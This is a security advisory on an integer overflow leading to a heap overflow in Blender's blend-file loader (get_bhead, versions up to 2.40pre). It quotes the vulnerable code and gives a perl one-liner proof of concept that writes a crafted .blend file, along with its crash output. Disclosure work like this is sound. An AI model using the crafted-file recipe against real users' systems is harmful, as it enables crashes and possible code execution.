[UNIX] Blender Integer Overflow Vulnerability (BlenLoader, get_bhead)

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  Blender Integer Overflow Vulnerability (BlenLoader, get_bhead)
------------------------------------------------------------------------


SUMMARY

 <http://blender3d.org/> Blender is the open source software for 3D 
modeling, animation, rendering, post-production, interactive creation and 
playback. Available for all major operating systems under the GNU Public 
License.

Remote exploitation of an integer overflow vulnerability in Blender allows 
execution of arbitrary code or cause denial of service.

DETAILS

Vulnerable Systems:
 * Blender 2.x up to and including 2.40pre

An integer overflow leading to heap overflow, exists in get_bhead() 
function, that is used to read blend file structure. It is part of 
BlenLoader.

The vulnerable code is:
source/blender/blenloader/intern/readfile.c:
static BHeadN *get_bhead(FileData *fd)
{
      BHead8 bhead8;
      BHead4 bhead4;
      BHead  bhead;
      BHeadN *new_bhead = 0;
      int readsize;
..
      if ( ! fd->eof) {
            new_bhead = MEM_mallocN(sizeof(BHeadN) + bhead.len, 
"new_bhead");
            if (new_bhead) {
                  new_bhead->next = new_bhead->prev = 0;
                  new_bhead->bhead = bhead;
                  readsize = fd->read(fd, new_bhead + 1, bhead.len);

                  if (readsize != bhead.len) {
                        fd->eof = 1;
                        MEM_freeN(new_bhead);
                  }
            } else {
                  fd->eof = 1;
            }
      }
..
      return(new_bhead);
}

We can manipulate with bhead.len value, because it read from blend file. 
Allocation of memory for new_bhead is based on bhead.len variable 
(MEM_mallocN() call). If value of "bhead.len" is for example -16, we 
allocate only 12 bytes of memory (-16 + sizeof(BHeadN)). In next part of 
execution it can lead to heap overflow many times.

Proof of concept:
Example crafted blend file:
[root@overflow]# perl -e 'print "BLENDER_v273"; print 
"\xf0\xff\xff\xff"x10' > vuln.blend

Now we must only load crafted file with blender:
[root@overflow]# blender vuln.blend
Using Python version 2.4
Memoryblock new_bhead: end corrupt
Memoryblock new_bhead: end corrupt
*** glibc detected *** malloc(): memory corruption: 0x0875eae8 ***
Abort (core dumped)
[root@overflow]#


ADDITIONAL INFORMATION

The information has been provided by  <mailto:pucik@overflow.pl> Damian 
Put.
The original article can be found at:  
<http://www.overflow.pl/adv/blenderinteger.txt> 
http://www.overflow.pl/adv/blenderinteger.txt



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